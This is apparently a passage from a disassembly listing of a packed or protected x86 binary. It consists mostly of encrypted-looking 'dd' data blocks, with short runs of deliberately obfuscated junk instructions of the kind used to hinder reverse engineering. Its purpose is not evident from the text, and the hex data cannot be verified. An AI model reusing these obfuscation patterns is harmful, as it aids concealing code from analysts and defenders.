		dd 739372AAh, 0DE44067Fh, 1D4619B9h, 5E2B51B1h,	90B6CC60h
		dd 4752285h, 0E0B0D642h, 956569E6h, 98FE02CFh, 795C9D40h
		dd 66CC32F4h, 0A5CEA141h, 49431339h, 3A3FA5B5h,	38730D88h
		dd 14E40A76h, 395F9D1Ah, 634B706Ah, 8F4B91F7h, 2BED732Dh
		dd 0F7F1C197h, 305F32D2h, 2D8F12CAh, 0C9982673h, 5CC2AACFh
		dd 10668AF6h, 472F4AFCh, 0A30919ADh, 7905E604h,	3CE9E26Eh
		dd 4DB8ED19h, 0B74079E7h, 512CAAD5h, 49E9Ah, 0D03D400h
		dd 0C0BE8C90h, 71733F43h, 281EF0F4h, 0DCDAA7ABh, 0BF0E5C5Fh
		dd 7377F4F2h, 292DAAA4h, 0DBDF5C5Eh, 6E94110Bh,	8DA078DEh
		dd 1D4795Ch, 4A10E08Ch
		dd 745C817Bh, 0BD8D910Eh, 1AEA9EC3h, 9634FB20h,	0C18757DDh
		dd 0E8D0F5F3h, 6F0A0582h, 23BB312Fh, 0B7DF85FFh, 3ED2ECF4h
		dd 5D52h, 21F47F00h, 37AB8B3Ah,	3BA11125h, 0C61969CFh
		dd 0CF5B755Bh, 5EBB9F21h, 8EF46019h, 795B124Eh,	56C228EAh
		dd 497296F6h, 405D9A8h,	13459305h, 0A575795Bh, 0E69E86ABh
		dd 2822F224h, 0B1871B03h, 4A4C18E6h, 5AD73D25h,	5B13C016h
		dd 642AFA79h, 0B5329896h, 0BFE4E6B1h, 3E208h, 10E00F00h
		dd 1D1FEA10h, 7E9E10F8h, 0FA7F7393h, 0F9ADD238h, 90986329h
		dd 7393F22Ah, 5EC4867Fh, 6EEB5139h, 1E8AAB7Eh, 5B92ADB8h
		dd 0E80DCF75h, 5B9220F4h, 9C559B79h, 0EBE9B6DCh, 92C3197Fh
		dd 0B375795Bh, 2C27521Fh, 478FC159h, 0E7000000h, 8DF9EFC1h
		dd 5B9AF127h, 2DC18379h, 421F4F2h, 0BEAB3298h, 0F319755Bh
		dd 8D8F5B25h, 0F51A8068h, 911D790Dh, 0CD3F09Dh,	577CE251h
		dd 5BB0B163h, 0BC40A79h, 5952EB8Eh, 0B281A7C1h,	17AB93B8h
		dd 0C82Bh, 10E05800h, 703DF116h, 0E8E20672h, 0BFEC1A47h
		dd 2034E44Ah, 7E407F73h, 7BB8418h, 64183D37h, 0CE2E9A94h
		dd 7320B068h, 6B36C47Fh, 0F65C4469h, 0F1FD4162h, 0F97F733Dh
		dd 0AEB22F29h, 1FBFE4DEh, 55BB274Ch, 755B1D36h,	0B8BA86ACh
		dd 0BB17AB93h, 0B98C7CF9h, 98E78AD2h, 93F9B27Fh, 955AC127h
		dd 0D05C7375h, 0B82585F9h, 0C8349A3Eh, 6BD7D5A2h, 0CD77A50Bh
		dd 3F017320h, 0B9868AABh, 436A4DBBh, 1BF6B400h,	2C664h
		dd 352BFC00h, 0E8E6B4B8h, 999B676Bh, 5046181Ch,	402CFD3h
		dd 0E7D68487h, 9B9F1C1Ah, 5155D2CCh, 3078486h, 96BC3933h
		dd 8C78A006h, 29FC795Ch, 1513E0B4h, 66345A98h, 0C75B4368h
		dd 0AA2721F1h, 421F441h, 0BEAB3298h, 0BCD755Bh,	862EF2E6h
		dd 5399795Bh, 445C1D9Ah, 0CE5AC159h, 87000000h,	0C74C10E0h
		dd 0BBA05F11h, 0FDEB1076h, 0E70C0AD7h, 666833h,	0C5C9966Ch
		dd 0B0D5CF9Fh, 2C8656C8h, 0F0B27F73h, 0CDF2F0BEh, 665A7FE5h
		dd 7F733198h, 2C989262h, 2F291F08h, 9B2FA837h, 0E0A6767Ah
		dd 9F11610h, 0BDE7EA3h,	71187EEAh, 23755B49h, 0F3D1F561h
		dd 65062DE4h, 605A2A5Ch, 0E8BBABCCh, 69395FCBh,	65CBDB6Fh
		dd 7374CF15h, 0B319D5Fh, 0BFC3403Eh, 935928F2h,	4065CBC1h
		dd 0AB84F258h, 23B407BDh, 1DD9148h, 42130000h, 0FDCBCF4Ch
		dd 0B27E82FFh, 5D2F33B0h, 19E6EA67h, 0CF9B9E1Bh, 0B63331FEh
		dd 6CE9E3B2h, 1E9B9D68h, 0D3504A1Ah, 61B71DADh,	13795CB3h
		dd 13E0CB40h, 0E349A915h, 7F739335h, 0C8E97D3Fh, 7DFAF4C4h
		dd 1610E014h, 6D6D3DF1h, 7393D107h, 3BA1637Fh, 24EABABEh
		dd 0CFF45A54h, 0CB375C2Fh, 77A50B6Bh, 17F7393h,	9695AB3Fh
		dd 0C0755B8Bh, 5925D9FEh, 0B37E3257h, 0AD88CB1h, 0A7FFE70Ch
		dd 22F0762Fh, 0B117FF24h, 941AD367h, 5D4DCAC4h,	97FD698Ah
		dd 7373B2CCh, 0D387AC6Eh, 0AE40903h, 908E5C82h,	0EFEF836Bh
		dd 0D4F1C436h, 10E20868h, 2570861Ah, 47790B9Bh,	0A4CA0885h
		dd 0CFB7DCD2h, 9595653Bh, 0BA8E92Fh, 0AB71D76Dh, 0CD6D0BA8h
		dd 2B91530Bh, 85875206h, 0CAF09460h, 6969FDFFh,	5A5A2AB0h
		dd 0BA824F4h, 288E506Dh, 26F65CBCh, 526D0BA8h, 0EBDBFC90h
		dd 64622F18h, 0CC3292FEh, 6D0BA80Ch, 0D2C89A28h, 68C8D86Ch
		dd 0E5797342h, 23B0D8CFh, 1338FA67h, 70958F5Fh,	0CDF2ECBCh
		dd 2A4F4919h, 6677D878h, 0D63859DCh, 0B5FFB972h, 23F66821h
		dd 85729602h, 6D279DA4h, 2787972Bh, 3353301h, 8BA13537h
		dd 6DFB969Ch, 6288F4B6h, 88709597h, 0B666B61Ch,	501261BBh
		dd 0D8AB9BBCh, 8FEF4FBBh, 0BBB6F329h, 51C38561h, 61BBB68Bh
		dd 4757EBADh, 0EAA39CE1h, 8350DE6Bh, 12786085h,	39DBFFEDh
		dd 7A4BCB8Ah, 69390FA3h, 0EBDF036Fh, 55B921B6h,	0D3F8FAC5h
		dd 0D0F185EBh, 9602FCCCh, 661FBA72h, 8B73989Ah,	609DD25Bh
		dd 8B73988Eh, 0D4C89125h, 0C205A52Ch, 0F17730A8h, 0A6AA2721h
		dd 3B7DCD6h, 4A163B31h,	0A777FDB6h, 0CCF230ADh,	9A7004FAh
		dd 0F4ABD0CAh, 3, 0E03A87FBh, 40F4190Fh, 9D517670h, 0F7ABD0D2h
		dd 55092E28h, 0B1658A88h, 0DC1E6E4h, 6C20453Bh,	0C5799EA0h
		dd 0FFD4F9F7h, 81E78957h, 4C7h,	4EF8300h, 5C243C87h, 68240489h
		dd 313Ah, 53243489h, 0C381E389h, 4, 8704EB83h, 895C241Ch
		dd 0BD552404h, 55CF5F75h, 78D8ED81h, 0ED8175F3h, 7AF6611Ah
		dd 8B73F581h, 5E5562CAh, 48B545Dh, 4C48324h, 89F38953h
		dd 1C8B0858h, 4C48324h,	582434FFh, 4C481h, 348B0000h, 0E7895724h
		dd 4C781h, 0C7830000h, 243C8704h, 5C8FE95Ch, 0BE8AFFF9h
		dd 5EE79D8Bh, 0EF6E09FBh, 22CFB8C4h, 0C503062Fh, 0C54E0FFh
		dd 8C3978C0h, 0C88C12FEh, 663B543Fh, 0B3B92C0Dh, 0ECA2AF6h
		dd 74234240h, 0C3015D83h, 0E77B6D4Ah, 2EE41F19h, 0CAAF2FAEh
		dd 0E3052AFDh, 81A92640h, 0D2466B21h, 0D59E552Ch, 0F0A3008Ah
		dd 0E9AB58FAh, 0A7FD5F6Eh, 3D2D5858h, 8E2E5826h, 30337B3Bh
		dd 5DAF72EEh, 0BC5A3F3Eh, 73745A03h, 2E3B7A71h,	0B012AC5h
		dd 5FE95AF9h, 52000001h, 0E860D48Bh, 0
		dd 0D7ED815Dh, 8B062F23h, 453D0842h, 0F782638h,	13885h
		dd 0C428B00h, 0D3184A8Bh, 12A3BBC8h, 0C3338652h, 8904E883h
		dd 28071585h, 4588B06h,	428BF88Bh, 184A8B10h, 3DBEC8D3h
		dd 33EA81BDh, 83C72BC6h, 0E883FCE0h, 0BD858904h, 8B062821h
		dd 85891442h, 628113Dh,	5318428Bh, 0B0E9h, 71B5FF00h, 0E9062823h
		dd 0B9h, 2E79B5FFh, 0AEE90628h,	0FF000000h, 281321B5h
		dd 0A3E906h, 0B5FF0000h, 6282955h, 98E9h, 0BDB5FF00h, 0E9062801h
		dd 8Dh,	1819B5FFh, 82E90628h, 0FF000000h, 2826BDB5h, 77E906h
		dd 0B5FF0000h, 6282EC9h, 6CE9h,	0C9B5FF00h, 0E9062826h
		dd 61h,	1115B5FFh, 56E90628h, 0FF000000h, 281D45B5h, 4BE906h
		dd 0B5FF0000h, 62805E1h, 40E9h,	85B5FF00h, 0E906281Eh
		dd 35h,	439B5FFh, 2AE90628h, 0FF000000h, 2822A9B5h, 1FE906h
		dd 0B5FF0000h, 6282B59h, 14E9h,	0B8D88B00h, 0Bh, 8DE3F766h
		dd 2F24388Dh, 0FFC80306h, 0D995FFE1h, 5B062814h, 715858Bh
		dd 58390628h, 0F850F04h, 53000000h, 95FF016Ah, 6280465h
		dd 0FFE2E95Bh, 5A61FFFFh, 0B85A61C3h, 77D4C96Ah, 858BE0FFh
		dd 6280DF5h, 25268D8Dh,	4189062Fh, 0E8C38B01h, 0Bh, 0D9F26C1Fh
		dd 41D02500h, 60E45293h, 6840Fh, 810F0000h, 0
		dd 0EE9h, 0BAAE7500h, 823C8108h, 25884514h, 61BED968h
		dd 0BE85Bh, 0BA440000h,	463E8CA6h, 0C8C87195h, 830F49h
		dd 5E000000h, 7410C381h, 0BA660000h, 0D1BFAAB4h, 8000001Ch
		dd 33FF17F0h, 11E9h, 7F756000h,	6718BA9Eh, 138C91A2h, 0B95CB2B9h
		dd 81590E75h, 0E2F5E7C1h, 66506055h, 583F80BEh,	0AAE08166h
		dd 0F181615Eh, 355BAA24h, 81D1BF0Fh, 21F4D1E9h,	0EE81504Ch
		dd 6DFB1ACBh, 830B8958h, 8B6604EBh, 850F4FC2h, 12h, 23E9h
		dd 0A7A9100h, 0FBB6D970h, 5D803861h, 816674E6h,	0E92B40C8h
		dd 0FFFFFF92h, 74FA5A1Dh, 0A6F3BA9Bh, 0D71C02Bh, 36E9h
		dd 0F205F800h, 22h, 0Bh	dup(0)
		dd 0E9000000h, 4EEh, 2F276468h,	597FE906h, 0F368FFF9h
		dd 0E9062F27h, 0FFF95975h, 2F297568h, 596BE906h, 9E6FFFF9h
		dd 59272BA8h, 0EDADE5Bh, 0B98B8F0Ch, 754246C3h,	0ABF7FA77h
		dd 128F8D5Ah, 0C8453F0Eh, 7AF7F9C4h, 2FACA676h,	0C5137909h
		dd 6F795CB5h, 13E0279Ch, 6C3CF015h, 93D6066Ch, 0A0627F73h
		dd 86ECE3Ah, 7F7393D0h,	0ED0EA264h, 9D092AFDh, 5B80B437h
		dd 0FF24E675h, 5B80C90Bh, 0B36CB279h, 59424336h, 31073C1h
		dd 0A7CB0000h, 2E7C8350h, 80194843h, 713B71C5h,	0E53C770Bh
		dd 1C390C84h, 86734AB0h, 0C385755Bh, 60561137h,	0BF926430h
		dd 39042A96h, 2D93A337h, 76D6D1DEh, 648AF6B8h, 8F779C92h
		dd 0D7D6255Fh, 0CC60D366h, 0BF11503h, 90712537h, 0C89B5DF1h
		dd 7FDF3FABh, 0C677C319h, 1FB37576h, 0EEB38C09h, 6D4FA7Ch
		dd 67FBE308h, 0B7DD490Bh, 3270EDE7h, 1E433D0Ch,	0B464CA36h
		dd 0C070ADB3h, 0C4946AFEh, 15EE5CCAh, 0B38EB78Dh, 32FFCh
		dd 0B5AB7C00h, 68663438h, 191BE7EBh, 0D0C6989Ch, 84824F53h
		dd 67560407h, 1B1F9C9Ah, 0D1D5524Ch, 83870406h,	163CB9B3h
		dd 0B4F82086h, 0A97C795Ch, 421F434h, 0A8A27298h, 869E0414h
		dd 2E7522ADh, 193E3808h, 7F419D31h, 5820ED13h, 0E01D4511h
		dd 90F66246h, 795CD748h, 47C42AECh, 0E1AC7643h,	0D7A573D9h
		dd 0DCF795Ch, 0AFD541A7h, 4F4918E2h, 9E8C55E9h,	0D199A17Ah
		dd 17ABD44Fh, 5C2AC001h, 1E18E879h, 7C8C0CB0h, 46FDD8BEh
		dd 2A0h, 0A9261CEDh, 5CD9D7A5h,	0D8A8C58h, 0C4413709h
		dd 78F5F3C0h, 0BD82975h, 0BD8C900Dh, 774246C3h,	24F4F875h
		dd 0F787AD2Ah, 5CB44B91h, 0A51AED79h, 980421F4h, 22AD1232h
		dd 8FB47675h, 0B0AE7BA1h, 0F90FA38Bh, 795CB527h, 24A15AA0h
		dd 0C1605155h, 1A161h, 80A68E00h, 4A20B4B2h, 0EE14807Ah
		dd 0C891251Fh, 0EAE4B4DAh, 0B6B08056h, 4D764939h, 92907BE1h
		dd 0CA92755Bh, 5B92B464h, 98FEC079h, 3C36062Ch,	95976317h
		dd 0DED29B2Fh, 795B923Ah, 3C092F85h, 9D31193Eh,	1267E49Dh
		dd 0A4C1592Ch, 3Bh, 421F4D1h, 0BEAB3298h, 0F319755Bh, 38942826h
		dd 18E60A76h, 4890F6DFh, 0EC795B38h, 48C5FA2Ah,	0FCEAB347h
		dd 760A08D6h, 5BD1BC60h, 8C10779h, 5970EE8Bh, 0DDC8C1h
		dd 0E0F50000h, 3DF11610h, 0E2067270h, 0DAA7A099h, 9FCFB7DCh
		dd 0E377DA1Fh, 9C96661Ah, 0F9F3C377h, 9C9A678Dh, 0DAFB8F77h
		dd 734F7C96h, 0EA40647Fh, 490524BDh, 21F1C75Bh,	0C6CAA27h
		dd 73D776A6h, 0A274027Fh, 399F87ACh, 0F310E3A5h, 0C8966187h
		dd 0F0D8FDFBh, 86E6F68Ah, 0D718C026h, 5A1C7F73h, 7427B0C6h
		dd 8345755Dh, 8B51B717h, 0AD795974h, 16B7BBEBh,	0B951394Dh
		dd 22EF1525h, 0A860B81Eh, 52147959h, 36BD9C22h,	258B5E29h
		dd 25F359B9h, 4F7959B4h, 0D4D8F98Dh, 339B0907h,	0B9BE7912h
		dd 11E27DEh, 9A6B0000h,	552327A4h, 0AD6DA57h, 0B5878B08h
		dd 713E42BFh, 0A7F3F673h, 0E8B8956h, 0C4413B0Ah, 76F3F5C0h
		dd 2BA8A272h, 0C90F7505h, 6B795CBAh, 13E02398h,	0C4949815h
		dd 0E0E44DCAh, 3DF11610h, 6F6736Dh, 40A61233h, 755B4432h
		dd 0DE047032h, 71A70D11h, 3795BC3h, 1A5EDB41h, 795BC3C6h
		dd 0CA303000h, 795BC312h, 81FE6426h, 8DB2B07Dh,	0ABD6h
		dd 21F4DD00h, 16329804h, 7A7522ADh, 7FA593B8h, 4A20B4B2h
		dd 0C503807Ah, 0B5D9FF65h, 995B795Ch, 655F2F05h, 83264C40h
		dd 0F7C49DBFh, 411DAB2Fh, 6DD3DBF7h, 0CAC49448h, 0BC8BBDA5h
		dd 38D69DC2h, 0E56DC57Fh, 1BF91F85h, 3101547Fh,	29BD7F37h
		dd 8CB07029h, 70465110h, 0AE074E5h, 0BFC3403Ah,	1CD0F5EFh
		dd 632F544Ah, 50779BBFh, 9A8290Dh, 0FCBC7575h, 0E90E04D6h
		dd 0C7976D01h, 0EE1250CDh, 71C73093h, 0D3096FA9h, 65547F42h
		dd 3C0B3DA3h, 0A1351D42h, 6735FBCBh, 0EAA7D29Fh, 0F05632D6h
		dd 587DE3CBh, 3A1h, 3A87A800h, 0F4190FE0h, 51767040h, 0ABD0D29Dh
		dd 92E28F7h, 658A8855h,	0C1E6E4B1h, 20453B0Dh, 799EA06Ch
		dd 0D4F9F7C5h
		db 0FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	511Bh
		mov	[esp], edx
		push	5C67h
		mov	[esp], esi
		push	ebx
		mov	ebx, 2633983h
		add	ebx, 6D4546C2h
		not	ebx
		push	esi
		mov	esi, 967859CBh
		xor	ebx, esi
		pop	esi
		mov	edx, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	eax
		mov	eax, 8
		sub	eax, 693B7C02h
		add	eax, esi
		add	eax, 693B7C02h
		mov	[eax], edx
		pop	eax
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_551321
; ---------------------------------------------------------------------------
		db 3
		dd 7EB79247h, 1BF07AB7h, 0B8B881C0h, 3062F2Ah, 0FDE0FFC5h
		dd 0F67ABE2Ah, 2E6551E6h, 863B4F75h, 0AC750285h, 0D2504CA7h
		dd 543C36Fh, 9E0F126Ah,	0A0354AB6h, 3E3BBCF3h, 723A0D27h
		dd 740CFF41h, 935CD33Bh, 17318586h, 343E5605h, 0F179B2Ah
		dd 9040155Ah, 0A0404C96h, 7036DE49h, 8D042569h,	2F2C7F8Dh
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 66DD598Bh, 8937ADBBh, 282CC195h,	158D8906h
		dd 6A062807h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 0D181C356h, 67E84A7Ah,	0A836AB2h
		dd 21BD85C7h, 6E5C0628h, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 0B3FE3DC3h, 6EF1214Dh
		dd 0AE867h, 3AC20000h, 327AE946h, 3C4C85D1h, 5AD2B70Fh
		dd 113D85C7h, 628h, 51600000h, 0C7EB8166h, 95895FB9h, 6280CDDh
		dd 0FFF88B61h, 281D45B5h, 0D8B70F06h, 14D995FFh, 6A0628h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 33086CC3h, 0FF006A41h, 28046595h, 0EBC08B06h, 0DE717368h
		dd 4EC9A193h, 11B30263h, 0EFB47661h, 37EBBE6Ah,	386FC910h
		dd 34AA450Eh, 2001E6D0h, 0EF1DDA29h, 0B4B3B77Dh, 76CB6A0Ah
		dd 0B0E9CCEEh, 0DE030509h, 0E9AB4FCDh, 25A4AA95h, 0D183C78Ch
		dd 5AB3DDE4h, 1166EE30h, 0D131149Eh, 30F7850Ah,	0ED74B405h
		dd 71699149h, 2E6874h, 5FD45960h, 18EFF2B2h, 4D765882h
		dd 8E8C6h, 8E990000h, 0E7900C0Ah, 8B66F7DBh, 0EE95ED6h
		dd 37000000h, 0C16E83EEh, 0DAF888D2h, 0DBD19086h, 12C68189h
		dd 6600005Ah, 0DB33CE8Bh, 9698D8Bh, 3C8B0628h, 0F781F51Eh
		dd 38C8D333h, 6E8h, 97B5D900h, 8BCF5F87h, 28113585h, 0F7815A06h
		dd 72756694h, 69D858Bh,	0EF810628h, 731FF386h, 1D8D8B57h
		dd 8F062803h, 8B661E04h, 7E9C8h, 5950000h, 0F2366F07h
		dd 1EB83ABh, 61606057h,	13E9h, 0C5E9FB00h, 0CD9657FDh
		dd 0EAA3CF97h, 4505E379h, 0C198529Fh, 4B4B5961h, 39858B4Bh
		dd 81062821h, 0FFA6D8FBh, 1A850FFFh, 81000000h,	42D4FDE8h
		dd 36E93Eh, 92640000h, 0AC85F146h, 0EBC85ADBh, 3050D749h
		dd 0BE944h, 0A8000000h,	89C62D85h, 0D8276D9Dh, 0FF54E994h
		dd 97B6FFFFh, 89F0F88Eh, 837EEB97h, 0F977EB7Eh,	7467BAE7h
		dd 13E8h, 0AC69E200h, 0BEC1CFFh, 0BAF2BF4Ah, 50A7CE44h
		dd 744458E0h, 5EF98B66h, 0EE12BCBAh, 0BAC6811Fh, 66000075h
		dd 3CBBFE8Bh, 8B00001Dh, 0B136FFC8h, 8D8B5815h,	628185Dh
		dd 0DB8FE881h, 800F51CCh, 0Bh, 5860Fh, 81660000h, 817BBFEAh
		dd 0B8AA2CF0h, 0F081F92Ch, 594B675Ah, 1658D8Bh,	8B500628h
		dd 282C158Dh, 57068F06h, 59D2BF0Fh, 6502EE81h, 0B5890271h
		dd 62803B5h, 64FEC681h,	0B9660271h, 0EB83E831h,	1B850F01h
		dd 89000000h, 2820759Dh, 35E906h, 7E850000h, 8A8AD75h
		dd 684D58FFh, 74BEDD31h, 890F7CBFh, 6, 0E9FBEA81h, 72E90DC9h
		dd 78FFFFFFh, 0B6243649h, 0F89CCA58h, 8BB4727Eh, 55CB5FE3h
		dd 0E890C1BCh, 0Fh, 6A789A83h, 0B2F5DA11h, 3104AC40h, 8B6A7FA1h
		dd 0C7815FF1h, 6086h, 58D0Fh, 81660000h, 2BB303C9h, 171C8BD2h
		dd 0C5F4C881h, 0C38152ECh, 5587679Fh, 818AE880h, 0E9B402F3h
		dd 0C3C08158h, 810A33F2h, 0C56897F3h, 0C28B6652h, 2D8D8B53h
		dd 8F062808h, 840F1704h, 6, 16958D8Bh, 0EA830628h, 0B5858B04h
		dd 81062821h, 0FFA01CFAh, 18850FFFh, 8B000000h,	2800E58Dh
		dd 24E906h, 0C9AA0000h,	0EA8D4A41h, 0A05597A3h,	0E991644Fh
		dd 0FFFFFF91h, 0EB67B7C1h, 1E4990AEh, 0CD4A818Eh, 33359783h
		dd 0C08B3F7Ch, 149BD83h, 75000628h, 0C5BD8309h,	62814h
		dd 53501974h, 21B8C08Bh, 89000004h, 28029185h, 5E9D8D06h
		dd 0FF062AA5h, 83585BD3h, 2814C5BDh, 17740006h,	21B85350h
		dd 89000004h, 28029185h, 4D9D8D06h, 0FF062AA2h,	8B585BD3h
		dd 0DD9D8BC0h, 0C606282Bh, 280D2585h, 52685606h, 0FF9CA8B8h
		dd 28140DB5h, 58858D06h, 0FF062B6Fh, 68046AD0h,	1000h
		dd 2C39B5FFh, 6A0628h, 0C085D0FFh, 0D850Fh, 0B80000h, 8D000000h
		dd 2873C48Dh, 8BE1FF06h, 3C38BC8h, 0F8053C40h, 8B000000h
		dd 0D3030C50h, 391BD83h, 0F000628h, 0E84h, 919D8B00h, 8B062803h
		dd 2800CD85h, 51038906h, 0D9858D52h, 0FF062843h, 8BFA8BD0h
		dd 8BD18BF1h, 0C6A4F3C8h, 280D2585h, 39685606h,	0FFD41F6Dh
		dd 28140DB5h, 58858D06h, 0FF062B6Fh, 800068D0h,	6A0000h
		dd 8BD0FF52h, 49BD83C0h, 62801h, 0BD830975h, 62814C5h
		dd 50197400h, 0B8C08B53h, 421h,	2E558589h, 9D8D0628h, 62AA5C5h
		dd 585BD3FFh, 14C5BD83h, 74000628h, 0B8535017h,	421h, 2E558589h
		dd 9D8D0628h, 62AA266h,	585BD3FFh, 9D8DC08Bh, 6280391h
		dd 0C00B038Bh, 7840Fh, 38B0000h, 89045B8Bh, 4B41B818h
		dd 13E80000h, 54000000h, 0D4350E68h, 0A23E5EBh,	0EF3E478Fh
		dd 346005D4h, 12E96E16h, 44000000h, 0D11FB13Bh,	6BFD3188h
		dd 0EF89B81Eh, 0C29228A9h, 0CA805F81h, 0A5C781A4h, 0E800005Bh
		dd 13h,	0E64A60BBh, 23F6A8BBh, 60CD298Dh, 0ACCD3D6Ch, 0FCE0D863h
		dd 0A9A0BE5Bh, 0C6812C09h, 0D3F66D14h, 9E8h, 0AB4B8400h
		dd 799797C5h, 0CA8AAF96h, 8A078B59h, 2E881F1h, 516F75B9h
		dd 10E8h, 0E3696300h, 0EFFE41F5h, 6E86D014h, 3EF4EE2Eh
		dd 880F7Eh, 59000000h, 0A8F08159h, 60127157h, 0E952EB80h
		dd 13h,	0A31930BBh, 0C67C8CCCh,	4427997Ah, 72B3F565h, 619BC557h
		dd 4677E881h, 7891E7Ah,	0D521E981h, 0EF835247h,	0D68B6604h
		dd 0F01EE83h, 0FFFF9885h, 1860FFFh, 0F8000000h,	1DE9h
		dd 0ED4AD000h, 8, 5 dup(0)
		dd 0A6E90000h, 1A000004h, 0D2D65349h, 85890604h, 363AB7B9h
		dd 0EDF16E64h, 0A2A52220h, 3A3805F4h, 0F0EAB9BDh, 0A2A46F73h
		dd 57512125h, 0BE24B4DAh, 795CA21Eh, 0A6D2471Ah, 1EDF6482h
		dd 89C7BB8h, 43686232h,	66602F55h, 0C4BE8D41h, 1F51B79Fh
		dd 452D5254h, 100EDBB1h, 5F2F5593h, 2BFBD165h, 88580C31h
		dd 0E7B5698Eh, 0ED534D1Dh, 666EEC8h, 73B278A0h,	83AFC7Fh
		dd 0A7A73B3Dh, 9E9868EEh, 0A2A40E32h, 5BC4147Ah, 0AE707F73h
		dd 0E5C96F7Eh, 612C3051h, 13DEE25Fh, 53787A45h,	2CE0056Bh
		dd 723E635Dh, 0D49F25DEh, 0F11755D2h, 8E8C5923h, 0F61B8169h
		dd 9C3CA20Eh, 987F7328h, 9C6C42D6h, 56897DA2h, 8A7F7328h
		dd 8F89587Eh, 0EEEE826Ah, 0EAC1B835h, 63F5BB31h, 22000000h
		dd 0AA1610E0h, 9334E44Ah, 7E407F73h, 0EF837D4Ch, 93EC3226h
		dd 36327F73h, 0F75DBD7Dh, 7F739321h, 0EB100AD9h, 0F5894B03h
		dd 312F5128h, 165BBh, 0E0920000h, 3BEF1412h, 964A6F6Dh
		dd 0F5A9CEC4h, 54082D23h, 0FD1B8189h, 777F7393h, 5E2A4FB5h
		dd 0B98B11CAh, 8D055DC3h, 82804ED4h, 37310105h,	13E051BAh
		dd 0DE02F015h, 0DED9ED21h, 7248DC8Dh, 0E23AA0A4h, 967F739Fh
		dd 82496ED4h, 456B2BE4h, 6553787Ah, 739FD9FFh, 33995B7Fh
		dd 34FCC99Fh, 1D695F3Dh, 2B97FD9Bh, 0D8DAA5CBh,	8359CBB3h
		dd 0B57F7374h, 3A3E5FF3h, 974B706Ah, 0F0A4C9CBh, 4AFE2325h
		dd 90577C7Eh, 0E7F39F2h, 0F7920FC8h, 0BFBB3214h, 8Ch, 4913E0ECh
		dd 6F577C7Eh, 6430E409h, 0EB633D62h, 0E1DFAC32h, 30002664h
		dd 95291136h, 0CFF4F2BFh, 2E53491Bh, 1F85E53Bh,	7F7393F9h
		dd 36F51E03h, 591115B3h, 4A030397h, 3192BCCDh, 61FABBh
		dd 0E0270000h, 757D4913h, 7393C90Fh, 43A96B7Fh,	994D71DDh
		dd 660E4F96h, 0D78B54E8h, 31E50A0Ch, 8D416664h,	0B79FC4BEh
		dd 97BCB685h, 0D28C45BDh, 379DFD6Fh, 7F73BFE1h,	99514719h
		dd 8A4343D7h, 0FD6F3704h, 10312F3Bh, 0E952CF35h, 0EF1412E0h
		dd 7393D8FBh, 4700FC7Fh, 3130AFCAh, 107BBh, 0A6340000h
		dd 22B6B080h, 1278804Ch, 7F7393CAh, 2146AC6Eh, 7EA39D6Dh
		dd 0A5651EB2h, 1DB1B37Fh, 0FC797B47h, 0B01C390Ch, 5B8C9F4Ah
		dd 0BADFA175h, 0BF3C3606h, 0CCF1EBBBh, 5B9406D8h, 0F2ECBC79h
		dd 4F4919CDh, 0CC5632Ah, 0D48DEF52h, 7847E4Eh, 14393303h
		dd 71969060h, 0CD530CAAh, 8B8603FDh, 0C15935EEh, 0E3C8h
		dd 80A6F500h, 6123B7B1h, 0CECC998Eh, 0EF5BC1A9h, 5B5E2689h
		dd 71965875h, 76F3EDBDh, 83A8A272h, 0E005FFCFh,	3CC27B19h
		dd 0FAF5726Ch, 0C159647Fh, 2E37h, 1FF46400h, 0C8309602h
		dd 0F8FF7393h, 0E00507D2h, 460864F8h, 93EF2D21h, 7BDFFF73h
		dd 567B50C2h, 937484EAh, 3E007F73h, 82BAC1h, 0F4C10000h
		dd 32980421h, 755BB4EFh, 0F6AACF91h, 0ABAF2C26h, 0C8BCE1DBh
		dd 795B8D0Bh, 0BCE1E3AFh, 183D3B08h, 0B314C42Ah, 5E20795Bh
		dd 1BD58E06h, 179D56B8h, 0E0D04D47h, 167CE80Dh,	730A81A6h
		dd 0FDEB10D2h, 0E70C0AD7h, 0C5956BFFh, 36DAA6CBh, 5FED5312h
		dd 8B5A86B0h, 1E846C91h, 5FD18A8Ah, 9BFB678Ch, 2495E735h
		dd 3F059173h, 5D7F59F6h, 7181157Bh, 2319EB11h, 6C8216FEh
		dd 7975A6CCh, 80E96628h, 980421F4h, 22A18A32h, 72CEE75h
		dd 0C898353h, 0D54A6ECEh, 31D00DC6h, 0F838E052h, 2288795Ch
		dd 795CF8FAh, 4204BC7Eh, 0E08D8AEh, 0AEB07CA2h,	440DA189h
		dd 9A7C7950h, 0CA83FB8Bh, 0FD7A7444h, 786529F9h, 9DC39066h
		dd 0C2B032DBh, 0F3598D83h, 0C9FD218Dh, 99767F8Ah, 0BF733CD0h
		dd 6D2F7EDh, 6333B972h,	88AEEC69h, 0E599BEB8h, 22B61C16h
		dd 5D827C4Ch, 3A6h, 3A87AD00h, 0F4190FE0h, 51767040h, 0ABD0D29Dh
		dd 92E28F7h, 658A8855h,	0C1E6E4B1h, 20453B0Dh, 799EA06Ch
		dd 0D4F9F7C5h, 0E28952FFh, 4C281h, 0EA830000h, 24148704h
		dd 6824248Bh, 599Eh, 68243C89h,	2D44h, 56242C89h, 323FCEBEh
		dd 0DFBA5246h, 0F74BA81Ch, 3E2C1D2h, 0F508C281h, 0D6299D43h
		dd 5EF7895Ah, 242C8B54h, 4C481h, 89510000h, 458F51F9h
		dd 34FF5908h, 0C4835D24h, 243C8B04h, 5E08950h, 4, 8704C083h
		dd 0E95C2404h, 0FFF9497Dh, 0EFEB36E6h, 5E8023BBh, 4709E2DEh
		dd 35F0B848h, 0C503062Fh, 0A262E0FFh, 0D8C77CAAh, 0A7892D42h
